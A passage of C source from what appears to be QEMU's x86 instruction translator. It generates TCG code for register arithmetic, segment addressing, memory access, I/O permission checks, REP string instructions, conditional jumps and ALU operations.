tcg_gen_st_tl(cpu_T[0], cpu_env, offsetof(CPUState, eip));
}
static inline void gen_op_add_reg_im(int size, int reg, int32_t val)
{
switch(size) {
case 0:
tcg_gen_addi_tl(cpu_tmp0, cpu_regs[reg], val);
tcg_gen_ext16u_tl(cpu_tmp0, cpu_tmp0);
tcg_gen_andi_tl(cpu_regs[reg], cpu_regs[reg], ~0xffff);
tcg_gen_or_tl(cpu_regs[reg], cpu_regs[reg], cpu_tmp0);
break;
case 1:
tcg_gen_addi_tl(cpu_tmp0, cpu_regs[reg], val);
/* For x86_64, this sets the higher half of register to zero.
For i386, this is equivalent to a nop. */
tcg_gen_ext32u_tl(cpu_tmp0, cpu_tmp0);
tcg_gen_mov_tl(cpu_regs[reg], cpu_tmp0);
break;
#ifdef TARGET_X86_64
case 2:
tcg_gen_addi_tl(cpu_regs[reg], cpu_regs[reg], val);
break;
#endif
}
}
static inline void gen_op_add_reg_T0(int size, int reg)
{
switch(size) {
case 0:
tcg_gen_add_tl(cpu_tmp0, cpu_regs[reg], cpu_T[0]);
tcg_gen_ext16u_tl(cpu_tmp0, cpu_tmp0);
tcg_gen_andi_tl(cpu_regs[reg], cpu_regs[reg], ~0xffff);
tcg_gen_or_tl(cpu_regs[reg], cpu_regs[reg], cpu_tmp0);
break;
case 1:
tcg_gen_add_tl(cpu_tmp0, cpu_regs[reg], cpu_T[0]);
/* For x86_64, this sets the higher half of register to zero.
For i386, this is equivalent to a nop. */
tcg_gen_ext32u_tl(cpu_tmp0, cpu_tmp0);
tcg_gen_mov_tl(cpu_regs[reg], cpu_tmp0);
break;
#ifdef TARGET_X86_64
case 2:
tcg_gen_add_tl(cpu_regs[reg], cpu_regs[reg], cpu_T[0]);
break;
#endif
}
}
static inline void gen_op_set_cc_op(int32_t val)
{
tcg_gen_movi_i32(cpu_cc_op, val);
}
static inline void gen_op_addl_A0_reg_sN(int shift, int reg)
{
tcg_gen_mov_tl(cpu_tmp0, cpu_regs[reg]);
if (shift != 0)
tcg_gen_shli_tl(cpu_tmp0, cpu_tmp0, shift);
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0);
/* For x86_64, this sets the higher half of register to zero.
For i386, this is equivalent to a nop. */
tcg_gen_ext32u_tl(cpu_A0, cpu_A0);
}
static inline void gen_op_movl_A0_seg(int reg)
{
tcg_gen_ld32u_tl(cpu_A0, cpu_env, offsetof(CPUState, segs[reg].base) + REG_L_OFFSET);
}
static inline void gen_op_addl_A0_seg(int reg)
{
tcg_gen_ld_tl(cpu_tmp0, cpu_env, offsetof(CPUState, segs[reg].base));
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0);
#ifdef TARGET_X86_64
tcg_gen_andi_tl(cpu_A0, cpu_A0, 0xffffffff);
#endif
}
#ifdef TARGET_X86_64
static inline void gen_op_movq_A0_seg(int reg)
{
tcg_gen_ld_tl(cpu_A0, cpu_env, offsetof(CPUState, segs[reg].base));
}
static inline void gen_op_addq_A0_seg(int reg)
{
tcg_gen_ld_tl(cpu_tmp0, cpu_env, offsetof(CPUState, segs[reg].base));
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0);
}
static inline void gen_op_movq_A0_reg(int reg)
{
tcg_gen_mov_tl(cpu_A0, cpu_regs[reg]);
}
static inline void gen_op_addq_A0_reg_sN(int shift, int reg)
{
tcg_gen_mov_tl(cpu_tmp0, cpu_regs[reg]);
if (shift != 0)
tcg_gen_shli_tl(cpu_tmp0, cpu_tmp0, shift);
tcg_gen_add_tl(cpu_A0, cpu_A0, cpu_tmp0);
}
#endif
static inline void gen_op_lds_T0_A0(int idx)
{
int mem_index = (idx >> 2) - 1;
switch(idx & 3) {
case 0:
tcg_gen_qemu_ld8s(cpu_T[0], cpu_A0, mem_index);
break;
case 1:
tcg_gen_qemu_ld16s(cpu_T[0], cpu_A0, mem_index);
break;
default:
case 2:
tcg_gen_qemu_ld32s(cpu_T[0], cpu_A0, mem_index);
break;
}
}
static inline void gen_op_ld_v(int idx, TCGv t0, TCGv a0)
{
int mem_index = (idx >> 2) - 1;
switch(idx & 3) {
case 0:
tcg_gen_qemu_ld8u(t0, a0, mem_index);
break;
case 1:
tcg_gen_qemu_ld16u(t0, a0, mem_index);
break;
case 2:
tcg_gen_qemu_ld32u(t0, a0, mem_index);
break;
default:
case 3:
/* Should never happen on 32-bit targets. */
#ifdef TARGET_X86_64
tcg_gen_qemu_ld64(t0, a0, mem_index);
#endif
break;
}
}
/* XXX: always use ldu or lds */
static inline void gen_op_ld_T0_A0(int idx)
{
gen_op_ld_v(idx, cpu_T[0], cpu_A0);
}
static inline void gen_op_ldu_T0_A0(int idx)
{
gen_op_ld_v(idx, cpu_T[0], cpu_A0);
}
static inline void gen_op_ld_T1_A0(int idx)
{
gen_op_ld_v(idx, cpu_T[1], cpu_A0);
}
static inline void gen_op_st_v(int idx, TCGv t0, TCGv a0)
{
int mem_index = (idx >> 2) - 1;
switch(idx & 3) {
case 0:
tcg_gen_qemu_st8(t0, a0, mem_index);
break;
case 1:
tcg_gen_qemu_st16(t0, a0, mem_index);
break;
case 2:
tcg_gen_qemu_st32(t0, a0, mem_index);
break;
default:
case 3:
/* Should never happen on 32-bit targets. */
#ifdef TARGET_X86_64
tcg_gen_qemu_st64(t0, a0, mem_index);
#endif
break;
}
}
static inline void gen_op_st_T0_A0(int idx)
{
gen_op_st_v(idx, cpu_T[0], cpu_A0);
}
static inline void gen_op_st_T1_A0(int idx)
{
gen_op_st_v(idx, cpu_T[1], cpu_A0);
}
static inline void gen_jmp_im(target_ulong pc)
{
tcg_gen_movi_tl(cpu_tmp0, pc);
tcg_gen_st_tl(cpu_tmp0, cpu_env, offsetof(CPUState, eip));
}
static inline void gen_string_movl_A0_ESI(DisasContext *s)
{
int override;
override = s->override;
#ifdef TARGET_X86_64
if (s->aflag == 2) {
if (override >= 0) {
gen_op_movq_A0_seg(override);
gen_op_addq_A0_reg_sN(0, R_ESI);
} else {
gen_op_movq_A0_reg(R_ESI);
}
} else
#endif
if (s->aflag) {
/* 32 bit address */
if (s->addseg && override < 0)
override = R_DS;
if (override >= 0) {
gen_op_movl_A0_seg(override);
gen_op_addl_A0_reg_sN(0, R_ESI);
} else {
gen_op_movl_A0_reg(R_ESI);
}
} else {
/* 16 address, always override */
if (override < 0)
override = R_DS;
gen_op_movl_A0_reg(R_ESI);
gen_op_andl_A0_ffff();
gen_op_addl_A0_seg(override);
}
}
static inline void gen_string_movl_A0_EDI(DisasContext *s)
{
#ifdef TARGET_X86_64
if (s->aflag == 2) {
gen_op_movq_A0_reg(R_EDI);
} else
#endif
if (s->aflag) {
if (s->addseg) {
gen_op_movl_A0_seg(R_ES);
gen_op_addl_A0_reg_sN(0, R_EDI);
} else {
gen_op_movl_A0_reg(R_EDI);
}
} else {
gen_op_movl_A0_reg(R_EDI);
gen_op_andl_A0_ffff();
gen_op_addl_A0_seg(R_ES);
}
}
static inline void gen_op_movl_T0_Dshift(int ot)
{
tcg_gen_ld32s_tl(cpu_T[0], cpu_env, offsetof(CPUState, df));
tcg_gen_shli_tl(cpu_T[0], cpu_T[0], ot);
};
static void gen_extu(int ot, TCGv reg)
{
switch(ot) {
case OT_BYTE:
tcg_gen_ext8u_tl(reg, reg);
break;
case OT_WORD:
tcg_gen_ext16u_tl(reg, reg);
break;
case OT_LONG:
tcg_gen_ext32u_tl(reg, reg);
break;
default:
break;
}
}
static void gen_exts(int ot, TCGv reg)
{
switch(ot) {
case OT_BYTE:
tcg_gen_ext8s_tl(reg, reg);
break;
case OT_WORD:
tcg_gen_ext16s_tl(reg, reg);
break;
case OT_LONG:
tcg_gen_ext32s_tl(reg, reg);
break;
default:
break;
}
}
static inline void gen_op_jnz_ecx(int size, int label1)
{
tcg_gen_mov_tl(cpu_tmp0, cpu_regs[R_ECX]);
gen_extu(size + 1, cpu_tmp0);
tcg_gen_brcondi_tl(TCG_COND_NE, cpu_tmp0, 0, label1);
}
static inline void gen_op_jz_ecx(int size, int label1)
{
tcg_gen_mov_tl(cpu_tmp0, cpu_regs[R_ECX]);
gen_extu(size + 1, cpu_tmp0);
tcg_gen_brcondi_tl(TCG_COND_EQ, cpu_tmp0, 0, label1);
}
static void gen_helper_in_func(int ot, TCGv v, TCGv_i32 n)
{
switch (ot) {
case 0: gen_helper_inb(v, n); break;
case 1: gen_helper_inw(v, n); break;
case 2: gen_helper_inl(v, n); break;
}
}
static void gen_helper_out_func(int ot, TCGv_i32 v, TCGv_i32 n)
{
switch (ot) {
case 0: gen_helper_outb(v, n); break;
case 1: gen_helper_outw(v, n); break;
case 2: gen_helper_outl(v, n); break;
}
}
static void gen_check_io(DisasContext *s, int ot, target_ulong cur_eip,
uint32_t svm_flags)
{
int state_saved;
target_ulong next_eip;
state_saved = 0;
if (s->pe && (s->cpl > s->iopl || s->vm86)) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
state_saved = 1;
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
switch (ot) {
case 0: gen_helper_check_iob(cpu_tmp2_i32); break;
case 1: gen_helper_check_iow(cpu_tmp2_i32); break;
case 2: gen_helper_check_iol(cpu_tmp2_i32); break;
}
}
if(s->flags & HF_SVMI_MASK) {
if (!state_saved) {
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
gen_jmp_im(cur_eip);
}
svm_flags |= (1 << (4 + ot));
next_eip = s->pc - s->cs_base;
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[0]);
gen_helper_svm_check_io(cpu_tmp2_i32, tcg_const_i32(svm_flags),
tcg_const_i32(next_eip - cur_eip));
}
}
static inline void gen_movs(DisasContext *s, int ot)
{
gen_string_movl_A0_ESI(s);
gen_op_ld_T0_A0(ot + s->mem_index);
gen_string_movl_A0_EDI(s);
gen_op_st_T0_A0(ot + s->mem_index);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_ESI);
gen_op_add_reg_T0(s->aflag, R_EDI);
}
static inline void gen_update_cc_op(DisasContext *s)
{
if (s->cc_op != CC_OP_DYNAMIC) {
gen_op_set_cc_op(s->cc_op);
s->cc_op = CC_OP_DYNAMIC;
}
}
static void gen_op_update1_cc(void)
{
tcg_gen_discard_tl(cpu_cc_src);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
}
static void gen_op_update2_cc(void)
{
tcg_gen_mov_tl(cpu_cc_src, cpu_T[1]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
}
static inline void gen_op_cmpl_T0_T1_cc(void)
{
tcg_gen_mov_tl(cpu_cc_src, cpu_T[1]);
tcg_gen_sub_tl(cpu_cc_dst, cpu_T[0], cpu_T[1]);
}
static inline void gen_op_testl_T0_T1_cc(void)
{
tcg_gen_discard_tl(cpu_cc_src);
tcg_gen_and_tl(cpu_cc_dst, cpu_T[0], cpu_T[1]);
}
static void gen_op_update_neg_cc(void)
{
tcg_gen_neg_tl(cpu_cc_src, cpu_T[0]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
}
/* compute eflags.C to reg */
static void gen_compute_eflags_c(TCGv reg)
{
gen_helper_cc_compute_c(cpu_tmp2_i32, cpu_cc_op);
tcg_gen_extu_i32_tl(reg, cpu_tmp2_i32);
}
/* compute all eflags to cc_src */
static void gen_compute_eflags(TCGv reg)
{
gen_helper_cc_compute_all(cpu_tmp2_i32, cpu_cc_op);
tcg_gen_extu_i32_tl(reg, cpu_tmp2_i32);
}
static inline void gen_setcc_slow_T0(DisasContext *s, int jcc_op)
{
if (s->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s->cc_op);
switch(jcc_op) {
case JCC_O:
gen_compute_eflags(cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 11);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
case JCC_B:
gen_compute_eflags_c(cpu_T[0]);
break;
case JCC_Z:
gen_compute_eflags(cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 6);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
case JCC_BE:
gen_compute_eflags(cpu_tmp0);
tcg_gen_shri_tl(cpu_T[0], cpu_tmp0, 6);
tcg_gen_or_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
case JCC_S:
gen_compute_eflags(cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 7);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
case JCC_P:
gen_compute_eflags(cpu_T[0]);
tcg_gen_shri_tl(cpu_T[0], cpu_T[0], 2);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
case JCC_L:
gen_compute_eflags(cpu_tmp0);
tcg_gen_shri_tl(cpu_T[0], cpu_tmp0, 11); /* CC_O */
tcg_gen_shri_tl(cpu_tmp0, cpu_tmp0, 7); /* CC_S */
tcg_gen_xor_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
default:
case JCC_LE:
gen_compute_eflags(cpu_tmp0);
tcg_gen_shri_tl(cpu_T[0], cpu_tmp0, 11); /* CC_O */
tcg_gen_shri_tl(cpu_tmp4, cpu_tmp0, 7); /* CC_S */
tcg_gen_shri_tl(cpu_tmp0, cpu_tmp0, 6); /* CC_Z */
tcg_gen_xor_tl(cpu_T[0], cpu_T[0], cpu_tmp4);
tcg_gen_or_tl(cpu_T[0], cpu_T[0], cpu_tmp0);
tcg_gen_andi_tl(cpu_T[0], cpu_T[0], 1);
break;
}
}
/* return true if setcc_slow is not needed (WARNING: must be kept in
sync with gen_jcc1) */
static int is_fast_jcc_case(DisasContext *s, int b)
{
int jcc_op;
jcc_op = (b >> 1) & 7;
switch(s->cc_op) {
/* we optimize the cmp/jcc case */
case CC_OP_SUBB:
case CC_OP_SUBW:
case CC_OP_SUBL:
case CC_OP_SUBQ:
if (jcc_op == JCC_O || jcc_op == JCC_P)
goto slow_jcc;
break;
/* some jumps are easy to compute */
case CC_OP_ADDB:
case CC_OP_ADDW:
case CC_OP_ADDL:
case CC_OP_ADDQ:
case CC_OP_LOGICB:
case CC_OP_LOGICW:
case CC_OP_LOGICL:
case CC_OP_LOGICQ:
case CC_OP_INCB:
case CC_OP_INCW:
case CC_OP_INCL:
case CC_OP_INCQ:
case CC_OP_DECB:
case CC_OP_DECW:
case CC_OP_DECL:
case CC_OP_DECQ:
case CC_OP_SHLB:
case CC_OP_SHLW:
case CC_OP_SHLL:
case CC_OP_SHLQ:
if (jcc_op != JCC_Z && jcc_op != JCC_S)
goto slow_jcc;
break;
default:
slow_jcc:
return 0;
}
return 1;
}
/* generate a conditional jump to label 'l1' according to jump opcode
value 'b'. In the fast case, T0 is guaranted not to be used. */
static inline void gen_jcc1(DisasContext *s, int cc_op, int b, int l1)
{
int inv, jcc_op, size, cond;
TCGv t0;
inv = b & 1;
jcc_op = (b >> 1) & 7;
switch(cc_op) {
/* we optimize the cmp/jcc case */
case CC_OP_SUBB:
case CC_OP_SUBW:
case CC_OP_SUBL:
case CC_OP_SUBQ:
size = cc_op - CC_OP_SUBB;
switch(jcc_op) {
case JCC_Z:
fast_jcc_z:
switch(size) {
case 0:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0xff);
t0 = cpu_tmp0;
break;
case 1:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0xffff);
t0 = cpu_tmp0;
break;
#ifdef TARGET_X86_64
case 2:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0xffffffff);
t0 = cpu_tmp0;
break;
#endif
default:
t0 = cpu_cc_dst;
break;
}
tcg_gen_brcondi_tl(inv ? TCG_COND_NE : TCG_COND_EQ, t0, 0, l1);
break;
case JCC_S:
fast_jcc_s:
switch(size) {
case 0:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0x80);
tcg_gen_brcondi_tl(inv ? TCG_COND_EQ : TCG_COND_NE, cpu_tmp0,
0, l1);
break;
case 1:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0x8000);
tcg_gen_brcondi_tl(inv ? TCG_COND_EQ : TCG_COND_NE, cpu_tmp0,
0, l1);
break;
#ifdef TARGET_X86_64
case 2:
tcg_gen_andi_tl(cpu_tmp0, cpu_cc_dst, 0x80000000);
tcg_gen_brcondi_tl(inv ? TCG_COND_EQ : TCG_COND_NE, cpu_tmp0,
0, l1);
break;
#endif
default:
tcg_gen_brcondi_tl(inv ? TCG_COND_GE : TCG_COND_LT, cpu_cc_dst,
0, l1);
break;
}
break;
case JCC_B:
cond = inv ? TCG_COND_GEU : TCG_COND_LTU;
goto fast_jcc_b;
case JCC_BE:
cond = inv ? TCG_COND_GTU : TCG_COND_LEU;
fast_jcc_b:
tcg_gen_add_tl(cpu_tmp4, cpu_cc_dst, cpu_cc_src);
switch(size) {
case 0:
t0 = cpu_tmp0;
tcg_gen_andi_tl(cpu_tmp4, cpu_tmp4, 0xff);
tcg_gen_andi_tl(t0, cpu_cc_src, 0xff);
break;
case 1:
t0 = cpu_tmp0;
tcg_gen_andi_tl(cpu_tmp4, cpu_tmp4, 0xffff);
tcg_gen_andi_tl(t0, cpu_cc_src, 0xffff);
break;
#ifdef TARGET_X86_64
case 2:
t0 = cpu_tmp0;
tcg_gen_andi_tl(cpu_tmp4, cpu_tmp4, 0xffffffff);
tcg_gen_andi_tl(t0, cpu_cc_src, 0xffffffff);
break;
#endif
default:
t0 = cpu_cc_src;
break;
}
tcg_gen_brcond_tl(cond, cpu_tmp4, t0, l1);
break;
case JCC_L:
cond = inv ? TCG_COND_GE : TCG_COND_LT;
goto fast_jcc_l;
case JCC_LE:
cond = inv ? TCG_COND_GT : TCG_COND_LE;
fast_jcc_l:
tcg_gen_add_tl(cpu_tmp4, cpu_cc_dst, cpu_cc_src);
switch(size) {
case 0:
t0 = cpu_tmp0;
tcg_gen_ext8s_tl(cpu_tmp4, cpu_tmp4);
tcg_gen_ext8s_tl(t0, cpu_cc_src);
break;
case 1:
t0 = cpu_tmp0;
tcg_gen_ext16s_tl(cpu_tmp4, cpu_tmp4);
tcg_gen_ext16s_tl(t0, cpu_cc_src);
break;
#ifdef TARGET_X86_64
case 2:
t0 = cpu_tmp0;
tcg_gen_ext32s_tl(cpu_tmp4, cpu_tmp4);
tcg_gen_ext32s_tl(t0, cpu_cc_src);
break;
#endif
default:
t0 = cpu_cc_src;
break;
}
tcg_gen_brcond_tl(cond, cpu_tmp4, t0, l1);
break;
default:
goto slow_jcc;
}
break;
/* some jumps are easy to compute */
case CC_OP_ADDB:
case CC_OP_ADDW:
case CC_OP_ADDL:
case CC_OP_ADDQ:
case CC_OP_ADCB:
case CC_OP_ADCW:
case CC_OP_ADCL:
case CC_OP_ADCQ:
case CC_OP_SBBB:
case CC_OP_SBBW:
case CC_OP_SBBL:
case CC_OP_SBBQ:
case CC_OP_LOGICB:
case CC_OP_LOGICW:
case CC_OP_LOGICL:
case CC_OP_LOGICQ:
case CC_OP_INCB:
case CC_OP_INCW:
case CC_OP_INCL:
case CC_OP_INCQ:
case CC_OP_DECB:
case CC_OP_DECW:
case CC_OP_DECL:
case CC_OP_DECQ:
case CC_OP_SHLB:
case CC_OP_SHLW:
case CC_OP_SHLL:
case CC_OP_SHLQ:
case CC_OP_SARB:
case CC_OP_SARW:
case CC_OP_SARL:
case CC_OP_SARQ:
switch(jcc_op) {
case JCC_Z:
size = (cc_op - CC_OP_ADDB) & 3;
goto fast_jcc_z;
case JCC_S:
size = (cc_op - CC_OP_ADDB) & 3;
goto fast_jcc_s;
default:
goto slow_jcc;
}
break;
default:
slow_jcc:
gen_setcc_slow_T0(s, jcc_op);
tcg_gen_brcondi_tl(inv ? TCG_COND_EQ : TCG_COND_NE,
cpu_T[0], 0, l1);
break;
}
}
/* XXX: does not work with gdbstub "ice" single step - not a
serious problem */
static int gen_jz_ecx_string(DisasContext *s, target_ulong next_eip)
{
int l1, l2;
l1 = gen_new_label();
l2 = gen_new_label();
gen_op_jnz_ecx(s->aflag, l1);
gen_set_label(l2);
gen_jmp_tb(s, next_eip, 1);
gen_set_label(l1);
return l2;
}
static inline void gen_stos(DisasContext *s, int ot)
{
gen_op_mov_TN_reg(OT_LONG, 0, R_EAX);
gen_string_movl_A0_EDI(s);
gen_op_st_T0_A0(ot + s->mem_index);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_EDI);
}
static inline void gen_lods(DisasContext *s, int ot)
{
gen_string_movl_A0_ESI(s);
gen_op_ld_T0_A0(ot + s->mem_index);
gen_op_mov_reg_T0(ot, R_EAX);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_ESI);
}
static inline void gen_scas(DisasContext *s, int ot)
{
gen_op_mov_TN_reg(OT_LONG, 0, R_EAX);
gen_string_movl_A0_EDI(s);
gen_op_ld_T1_A0(ot + s->mem_index);
gen_op_cmpl_T0_T1_cc();
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_EDI);
}
static inline void gen_cmps(DisasContext *s, int ot)
{
gen_string_movl_A0_ESI(s);
gen_op_ld_T0_A0(ot + s->mem_index);
gen_string_movl_A0_EDI(s);
gen_op_ld_T1_A0(ot + s->mem_index);
gen_op_cmpl_T0_T1_cc();
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_ESI);
gen_op_add_reg_T0(s->aflag, R_EDI);
}
static inline void gen_ins(DisasContext *s, int ot)
{
if (use_icount)
gen_io_start();
gen_string_movl_A0_EDI(s);
/* Note: we must do this dummy write first to be restartable in
case of page fault. */
gen_op_movl_T0_0();
gen_op_st_T0_A0(ot + s->mem_index);
gen_op_mov_TN_reg(OT_WORD, 1, R_EDX);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[1]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
gen_helper_in_func(ot, cpu_T[0], cpu_tmp2_i32);
gen_op_st_T0_A0(ot + s->mem_index);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_EDI);
if (use_icount)
gen_io_end();
}
static inline void gen_outs(DisasContext *s, int ot)
{
if (use_icount)
gen_io_start();
gen_string_movl_A0_ESI(s);
gen_op_ld_T0_A0(ot + s->mem_index);
gen_op_mov_TN_reg(OT_WORD, 1, R_EDX);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_T[1]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
tcg_gen_trunc_tl_i32(cpu_tmp3_i32, cpu_T[0]);
gen_helper_out_func(ot, cpu_tmp2_i32, cpu_tmp3_i32);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_ESI);
if (use_icount)
gen_io_end();
}
/* same method as Valgrind : we generate jumps to current or next
instruction */
#define GEN_REPZ(op) \
static inline void gen_repz_ ## op(DisasContext *s, int ot, \
target_ulong cur_eip, target_ulong next_eip) \
{ \
int l2;\
gen_update_cc_op(s); \
l2 = gen_jz_ecx_string(s, next_eip); \
gen_ ## op(s, ot); \
gen_op_add_reg_im(s->aflag, R_ECX, -1); \
/* a loop would cause two single step exceptions if ECX = 1 \
before rep string_insn */ \
if (!s->jmp_opt) \
gen_op_jz_ecx(s->aflag, l2); \
gen_jmp(s, cur_eip); \
}
#define GEN_REPZ2(op) \
static inline void gen_repz_ ## op(DisasContext *s, int ot, \
target_ulong cur_eip, \
target_ulong next_eip, \
int nz) \
{ \
int l2;\
gen_update_cc_op(s); \
l2 = gen_jz_ecx_string(s, next_eip); \
gen_ ## op(s, ot); \
gen_op_add_reg_im(s->aflag, R_ECX, -1); \
gen_op_set_cc_op(CC_OP_SUBB + ot); \
gen_jcc1(s, CC_OP_SUBB + ot, (JCC_Z << 1) | (nz ^ 1), l2); \
if (!s->jmp_opt) \
gen_op_jz_ecx(s->aflag, l2); \
gen_jmp(s, cur_eip); \
}
GEN_REPZ(movs)
GEN_REPZ(stos)
GEN_REPZ(lods)
GEN_REPZ(ins)
GEN_REPZ(outs)
GEN_REPZ2(scas)
GEN_REPZ2(cmps)
static void gen_helper_fp_arith_ST0_FT0(int op)
{
switch (op) {
case 0: gen_helper_fadd_ST0_FT0(); break;
case 1: gen_helper_fmul_ST0_FT0(); break;
case 2: gen_helper_fcom_ST0_FT0(); break;
case 3: gen_helper_fcom_ST0_FT0(); break;
case 4: gen_helper_fsub_ST0_FT0(); break;
case 5: gen_helper_fsubr_ST0_FT0(); break;
case 6: gen_helper_fdiv_ST0_FT0(); break;
case 7: gen_helper_fdivr_ST0_FT0(); break;
}
}
/* NOTE the exception in "r" op ordering */
static void gen_helper_fp_arith_STN_ST0(int op, int opreg)
{
TCGv_i32 tmp = tcg_const_i32(opreg);
switch (op) {
case 0: gen_helper_fadd_STN_ST0(tmp); break;
case 1: gen_helper_fmul_STN_ST0(tmp); break;
case 4: gen_helper_fsubr_STN_ST0(tmp); break;
case 5: gen_helper_fsub_STN_ST0(tmp); break;
case 6: gen_helper_fdivr_STN_ST0(tmp); break;
case 7: gen_helper_fdiv_STN_ST0(tmp); break;
}
}
/* if d == OR_TMP0, it means memory operand (address in A0) */
static void gen_op(DisasContext *s1, int op, int ot, int d)
{
if (d != OR_TMP0) {
gen_op_mov_TN_reg(ot, 0, d);
} else {
gen_op_ld_T0_A0(ot + s1->mem_index);
}
switch(op) {
case OP_ADCL:
if (s1->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s1->cc_op);
gen_compute_eflags_c(cpu_tmp4);
tcg_gen_add_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
tcg_gen_add_tl(cpu_T[0], cpu_T[0], cpu_tmp4);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
tcg_gen_mov_tl(cpu_cc_src, cpu_T[1]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_tmp4);
tcg_gen_shli_i32(cpu_tmp2_i32, cpu_tmp2_i32, 2);
tcg_gen_addi_i32(cpu_cc_op, cpu_tmp2_i32, CC_OP_ADDB + ot);
s1->cc_op = CC_OP_DYNAMIC;
break;
case OP_SBBL:
if (s1->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s1->cc_op);
gen_compute_eflags_c(cpu_tmp4);
tcg_gen_sub_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
tcg_gen_sub_tl(cpu_T[0], cpu_T[0], cpu_tmp4);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
tcg_gen_mov_tl(cpu_cc_src, cpu_T[1]);
tcg_gen_mov_tl(cpu_cc_dst, cpu_T[0]);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_tmp4);
tcg_gen_shli_i32(cpu_tmp2_i32, cpu_tmp2_i32, 2);
tcg_gen_addi_i32(cpu_cc_op, cpu_tmp2_i32, CC_OP_SUBB + ot);
s1->cc_op = CC_OP_DYNAMIC;
break;
case OP_ADDL:
gen_op_addl_T0_T1();
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_op_update2_cc();
s1->cc_op = CC_OP_ADDB + ot;
break;
case OP_SUBL:
tcg_gen_sub_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_op_update2_cc();
s1->cc_op = CC_OP_SUBB + ot;
break;
default:
case OP_ANDL:
tcg_gen_and_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_op_update1_cc();
s1->cc_op = CC_OP_LOGICB + ot;
break;
case OP_ORL:
tcg_gen_or_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_op_update1_cc();
s1->cc_op = CC_OP_LOGICB + ot;
break;
case OP_XORL:
tcg_gen_xor_tl(cpu_T[0], cpu_T[0], cpu_T[1]);
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_op_update1_cc();
s1->cc_op = CC_OP_LOGICB + ot;
break;
case OP_CMPL:
gen_op_cmpl_T0_T1_cc();
s1->cc_op = CC_OP_SUBB + ot;
break;
}
}
/* if d == OR_TMP0, it means memory operand (address in A0) */
static void gen_inc(DisasContext *s1, int ot, int d, int c)
{
if (d != OR_TMP0)
gen_op_mov_TN_reg(ot, 0, d);
else
gen_op_ld_T0_A0(ot + s1->mem_index);
if (s1->cc_op != CC_OP_DYNAMIC)
gen_op_set_cc_op(s1->cc_op);
if (c > 0) {
tcg_gen_addi_tl(cpu_T[0], cpu_T[0], 1);
s1->cc_op = CC_OP_INCB + ot;
} else {
tcg_gen_addi_tl(cpu_T[0], cpu_T[0], -1);
s1->cc_op = CC_OP_DECB + ot;
}
if (d != OR_TMP0)
gen_op_mov_reg_T0(ot, d);
else
gen_op_st_T0_A0(ot + s1->mem_index);
gen_compute_eflags_c(cpu_cc_src);
